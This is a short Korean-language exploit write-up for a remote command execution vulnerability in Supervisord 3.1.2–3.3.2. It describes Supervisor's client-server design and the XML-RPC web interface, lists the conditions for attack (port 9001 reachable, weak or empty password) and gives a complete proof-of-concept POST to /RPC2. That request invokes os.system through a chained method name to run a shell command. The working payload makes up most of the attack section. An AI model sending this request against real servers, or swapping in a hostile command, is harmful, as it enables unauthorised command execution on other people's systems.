
Supervisord 원격 명령 실행 취약점 스크립트
Supervisor는 Python으로 작성된 프로세스 관리 도구로, UNIX-like 시스템(Windows 미지원)에서 프로세스를 시작, 재시작(자동 재시작 프로그램), 종료할 때 매우 편리하게 사용할 수 있습니다(Python 프로세스뿐만 아니라).
Supervisor는 C/S 모델의 프로그램으로, supervisord는 서버 측이고 supervisorctl은 클라이언트 측입니다. 간단히 이해하면 클라이언트가 supervisor의 명령을 입력하여 서버 측의 API를 호출함으로써 일부 작업을 수행하는 것입니다.
그리고 실제로 많은 사람들이 Supervisor의 Web 서비스를 자주 사용하는데, 이는 supervisord의 클라이언트입니다. 라우팅만 연결되면 Web 페이지를 통해 원격으로 supervisor의 클라이언트와 유사한 작업을 수행할 수 있습니다. Web 인터페이스를 통한 작업은 XML-RPC 인터페이스로 구현되며, 이 취약점 역시 XML-RPC 인터페이스의 데이터 처리 과정에서 발생합니다.
Supervisor version 3.1.2부터 Supervisor version 3.3.2까지
Web 서비스가 활성화되어 있고 9001 포트에 접근 가능해야 함
비밀번호가 약한 비밀번호이거나 빈 암호
POST /RPC2 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 213
<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>touch /tmp/success</string>
</param>
</params>
</methodCall>
해당 POC는 출력(echo)이 없습니다.
